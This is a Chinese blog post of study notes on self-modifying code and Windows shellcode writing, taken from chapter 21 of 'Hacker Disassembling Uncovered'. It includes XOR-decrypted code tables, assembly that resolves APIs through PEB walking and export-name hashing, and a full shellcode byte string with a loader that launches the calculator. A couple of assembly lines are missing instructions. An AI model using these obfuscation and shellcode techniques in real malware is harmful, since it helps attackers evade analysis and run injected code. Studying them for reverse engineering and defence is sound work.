Loading... > 本篇是《Hacker Disassembling Uncovered》的笔记。由于这本书出的时间比较长了,我看的版本还是08年出的,里面有很多东西没什么学习的必要,不过多读点书还是好的吧。在这里记个备忘。 ## 第21章 这章主要讨论简单smc和shellcode编写。 ### SMC 自修改代码( self-modifying code, SMC ) 意思是自我修改的代码,使程序在运行时自我修改。我们可以采用下面两种方式: - 使用从Kernell32导出的WriteMemoryProcess - 将代码放到堆栈中修改 简单一层smc实现: ```c #include<stdio.h> #include<string.h> unsigned char table1[]={85, 154, 250, 218, 94, 230, 184, 171, 192, 94, 166, 223, 178, 171, 198, 94, 166, 220, 191, 171, 204, 94, 166, 221, 185, 171, 210, 94, 166, 218, 165, 171, 216, 102, 223, 222, 222, 222, 29, 237, 30, 29}; int main(int argc,char **argv) { int i=0; char cin[50]; scanf("%50s", cin); if(strlen(cin) == 10) { int len = strlen(table1); \_\_asm { xor ebx, ebx loopa: xor byte ptr table1[ebx], 0deh inc ebx cmp ebx, len jl loopa lea eax, [cin] push eax mov eax, offset table1 call eax pop ecx cmp eax,1 jnz end } printf("good\n"); \_\_asm { end: } } return 0; } ``` 上面的代码很简单,直接调用一个函数check输入。而这个函数根据key异或,动态解密后执行。 下面讨论多层嵌套SMC的实现,主要的思路就是上一层解密的时候同时传入下一层需要解密的函数地址,然后执行下一层的函数。 简单多次嵌套SMC实现: ```c #include<stdio.h> #include<string.h> char table3[50]={85, 154, 250, 218, 94, 230, 185, 171, 254, 84, 142, 223, 111, 177, 228, 15, 171, 201, 230, 150, 220, 171, 204, 94, 166, 221, 186, 171, 210, 94, 166, 218, 163, 171, 216, 102, 223, 222, 222, 222, 29, 237, 30, 29, 0}; char table2[70]={248, 38, 65, 38, 232, 165, 45, 149, 222, 216, 130, 45, 213, 172, 192, 216, 132, 45, 213, 175, 206, 216, 142, 45, 213, 174, 242, 216, 176, 158, 100, 45, 28, 157, 221, 237, 173, 115, 236, 46, 84, 129, 209, 94, 46, 109, 169, 253, 21, 157, 221, 237, 173, 82, 125, 244, 240, 110, 158, 109, 240, 110, 0}; char table1[70]={235, 53, 82, 53, 251, 182, 62, 134, 216, 203, 139, 62, 198, 191, 210, 203, 145, 62, 198, 188, 223, 203, 151, 62, 198, 189, 217, 203, 157, 62, 198, 186, 197, 203, 163, 141, 119, 62, 15, 218, 206, 254, 190, 19, 255, 61, 71, 128, 194, 77, 61, 126, 187, 238, 6, 218, 206, 254, 190, 65, 110, 231, 227, 125, 141, 126, 227, 125, 0}; const char good[6]="good\n"; int main() { char cin[15]; scanf("%15s", cin); if(strlen(cin) == 14) { \__asm { lea eax, cin xor ecx, ecx decode: xor byte ptr table1[ecx], 0beh inc ecx cmp ecx, 68 jl decode push eax mov eax, offset table1 call eax pop ecx cmp eax, 1 jnz end lea eax, good push eax call printf end: } } return 0; } ``` 关于解法,一种就是动态调试,没反调试的时候挺好用的,可以结合dump来分析。第二种就是IDC脚本,现在我都采用这种方法,无论PE、ELF还是结构破坏不能运行的情况下,直接在IDA的数据库里搞就好了。前面的笔记中写过,这里就不展开了。 最后讨论将smc分开存储的一种实现方式: *如何把敏感代码放入一个新的节表中?* ```sh #pragma code_seg(“.SMC”) 是一条预编译指令,作用是告诉链接器下面的代码放入 .SMC 代码段中。参数是代码段节表名,<=8 个字符 #pragma code_seg() 是指示链接器,下面的代码放在原来的代码段中。 #pragma comment(linker, “/SECTION:.SMC,ERW”) 是设置节表的属性。当然,这一步不是必须的,也可以在解密前调用VirtualProtect函数来修改内存属性。 ``` 一般写法 ```c #pragma code_seg(".SMC") #include "关键的源代码.h" #pragma code_seg() #pragma comment(linker, "/SECTION:.SMC,ERW") ``` 这里更详细的资料参考链接,emm,我没时间再写下去了。其实和上面是差不多的,这里是用VC实现SMC,而不是直接再用ASM来写了。 [参考资料1](https://blog.csdn.net/jia_xiaoxin/article/details/2948093) [参考资料2](https://bbs.pediy.com/thread-201708.htm) [参考资料3](http://www.rohitab.com/discuss/topic/41342-simple-self-modifying-code-example/) ### Windows shellcode shellcode的基础知识,这里就不提了。如果要用shellcode调用SwapMouseButton这个API,为了制作出稳定可靠的shellcode,需要遵循步骤如下: - 查找kernel32.dll基地址 - 找到其导出表 - 定位kernel32.dll导出的GetProcAddress函数 - 使用GetProcAddress函数获取LoadLibrary的函数地址 - 使用LoadLibrary函数加载user32.dll动态链接库 - 获取user32.dll中SwapMouseButton的函数地址 - 调用SwapMouseButton函数 - 查找ExitProcess的函数地址 - 调用ExitProcess函数 首先要获取loadlibrary的地址和getprocaddress的地址,才能获取更多API。由于这两个API在kernel32.dll中,可以通过PEB、SEH或者TOPSTACK来获取。 - 关于PEB实现,主要是通过TEB来访问PEB,然后跳转到0xC偏移处读取Ldr指针,再跳转到0x14偏移处读取 InMemoryOrderModuleList字段。InMemoryOrderLinks是一个LIST_ENTRY结构体,前面4个字节是Flink指针,而后面4个字节是Blink指针,通过前面的4个字节可以帮助我们遍历到第2个已加载模块。只需再次执行这个过程,我们便可以访问到第3个已加载模块的信息。 - 关于SEH实现,由于顶层异常处理UEF在kernel32.dll中实现,而我们可以通过TEB来访问TIB,从而获取当前的SEH链表。遍历链表,当到达最后一个时,下一个地址应该是0xffffffff,此时可以获取到kernel32.dll内部地址。然后根据页面对齐大小,如4k或者64k来走,根据PE结构,可以获取到kernel32的基地址。 - 关于TOPSTACK实现,由于本地线程的堆栈里偏移1CH(或者18H)的指针指向kernel32.dll内部,而fs:[0x18]指向当前线程,而且偏移量0x04指向线程栈。可以获取kernel32.dll内部地址,然后和SEH实现一样,根据页面大小和PE结构,找到基地址。 #### 通过PEB计算kernel32.dll基地址 获取基地址方式有很多种,上面提到了,这里就用一种就好了。比较常见的方式。 ```sh xor eax, eax mov eax, fs:[eax+0x30] ;PEB mov eax, [eax + 0x0c] mov esi, [eax + 0x1c] ;InMemoryOrderLinks lodsd mov eax, [eax + 0x8] ;kernel32.dll ``` #### 找到kernel32.dll的导出表 如果找到基地址后,需要找到导出表,现假设ebx中是kernel32.dll的基地址,首先获取根据DOS头到PE头中的数据目录表中,而数据目录表的第一项就是导出表,根据值取到导出表的FOA,然后跳转到导出表中。在导出表0×20偏移处获得AddressOfNames的指针,指向由函数名导出的函数名称。 ```sh mov edx, [ebx + 0x3c] add edx, ebx ;PE header mov edx, [edx + 0x78] edx, ebx ;Export table mov esi, [edx + 0x20] add esi, ebx ;Names table xor ecx, ecx ``` #### MyGetProcAddress hash实现 主要的原理就是对每个函数名称进行运算,当匹配的时候,输出函数的地址。 先给出正向的C实现,对给出的函数名称进行hash,得到对应的hash值: ```c int GetHash (char *c) { int h = 0; while (*c) { \__asm ror h, 13 h += \*c++; } return h ; } ``` 这样的话,我们就可以实现自己的getprocaddress函数了,实现的大致算法如下: ```sh find_function: pushad mov ebp, [esp + 0x24] mov eax, [ebp + 0x3c] mov edx, [ebp + eax + 0x78] add edx, ebp ;导出表 mov ecx, [edx + 0x18] ;NumberOfNames,决定了循环次数 mov ebx, [edx + 0x20] add ebx, ebp ;AddressOfNames,RVA数组,每个值指向一个由名字导出的函数 find_function_loop: jecxz find_function_finished dec ecx esi, [ebx + ecx * 4] add esi, ebp ;确定某个函数的导出名 compute_hash: xor edi, edi xor eax, eax cld compute_hash_again: lodsb test al, al jz compute_hash_finished ror edi, 0xd ;关键算法 add edi, eax jmp compute_hash_again compute_hash_finished: find_function_compare: cmp edi, [esp + 0x28] ;这里比较的就是我们传参进去的hash jnz find_function_loop ;不相同继续下一个 mov ebx, [edx + 0x24] add ebx, ebp ;相同,获取导出表的AddressOfNameOrdinals数组地址 mov cx, [ebx + 2 * ecx] mov ebx, [edx + 0x1c] add ebx, ebp ;AddressOfFunctions,RVA数组 mov eax, [ebx + 4 * ecx] ;根据标号得到函数地址 add eax, ebp mov [esp + 0x1c], eax find_function_finished: popad ret ``` 这样我们就可以获取kernel32.dll中任意由名字导出的API了,获loadlibrary的地址就能调用任意dll,由了getprocaddress就能调用任意dll中的函数了。基本可以实现任何功能。 #### 完善shellcode 由于我是一个模块一个模块写的,中间有很多东西要改,比如esp什么的,emm,比较复杂,最后再实现一个功能吧,比如弹个计算器。。。windows xp下实现,其他平台由于winexec函数的原因,未能实现。 ```sh { push 0xe8afe98 call findf //WinExec("calc.exe") mov edx, eax xor eax,eax push eax mov eax,6578652Eh ;".exe" push eax mov eax,636C6163h ;"calc" push eax mov eax,esp push 5 ;arg2 = SW_SHOW push eax ;arg1 = "calc.exe" mov eax,edx ;kernel32.WinExec hash0xe8afe98 call edx push 0x73e2d87e call findf //ExitProcess(0); mov edx, eax xor eax,eax push eax ;arg1 = 0 mov eax,7C81CAFAh ;kernel32.ExitProcess hash 0x73e2d87e call edx jmp end findf: xor eax, eax mov eax, fs:[eax+0x30] ;PEB mov eax, [eax + 0x0c] mov esi, [eax + 0x1c] lodsd mov eax, [eax + 0x8] ;eax=kernel32 base mov edx, eax mov eax, [edx + 0x3c] mov edi, [edx + eax + 0x78] add edi, edx mov ecx, [edi + 0x18] mov ebx, [edi + 0x20] add ebx, edx find_function_loop: push edx jecxz find_function_finished dec ecx mov esi, [ebx + ecx * 4] add esi, edx //compute_hash: xor eax, eax cdq cld compute_hash_again: lodsb test al, al jz compute_hash_finished ror edx, 0xd add edx, eax jmp compute_hash_again compute_hash_finished: cmp edx, [esp+0x08] //hash pop edx jnz find_function_loop mov ebx, [edi + 0x24] add ebx, edx mov cx, [ebx + 2 * ecx] mov ebx, [edi + 0x1c] add ebx, edx mov eax, [ebx + 4 * ecx] add eax, edx find_function_finished: ret end: } ``` 最后转换成shellcode然后执行就好了。 ```c #include <Windows.h> int main() { char \*shellcode ="\x68\x98\xFE\x8A\x0E\xE8\x32\x00\x00\x00\x8B\xD0\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50\x8B\xC2\xFF\xD2\x68\x7E\xD8\xE2\x73\xE8\x0E\x00\x00\x00\x8B\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD2\xEB\x57\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\x8B\xD0\x8B\x42\x3C\x8B\x7C\x02\x78\x03\xFA\x8B\x4F\x18\x8B\x5F\x20\x03\xDA\x52\xE3\x30\x49\x8B\x34\x8B\x03\xF2\x33\xC0\x99\xFC\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x08\x5A\x75\xE0\x8B\x5F\x24\x03\xDA\x66\x8B\x0C\x4B\x8B\x5F\x1C\x03\xDA\x8B\x04\x8B\x03\xC2\xC3\x90"; // Set memory as executable DWORD old = 0; BOOL ret = VirtualProtect(shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &old); // Call the shellcode \__asm { jmp shellcode; } return 0; } ``` ![shellcode弹计算器](./assets/Snipaste_2018-04-03_20-06-21.png) [参考资料1](http://www.hick.org/code/skape/shellcode/win32/generic.c) [Skape. Understanding Windows Shellcode.pdf](https://www.google.com/) [Windows平台shellcode开发入门系列文章](http://www.freebuf.com/articles/system/97215.html) [利用hash值取得函数地址的connect-back-shellcode.pdf](https://www.google.com/) [参考资料5](https://www.cnblogs.com/toorist/p/4428340.html) ``` ``` Last modification:January 16th, 2021 at 01:35 pm © 允许规范转载 Support 确定不打赏一下支持博主吗 ×Close Appreciate the author Sweeping payments Pay by AliPay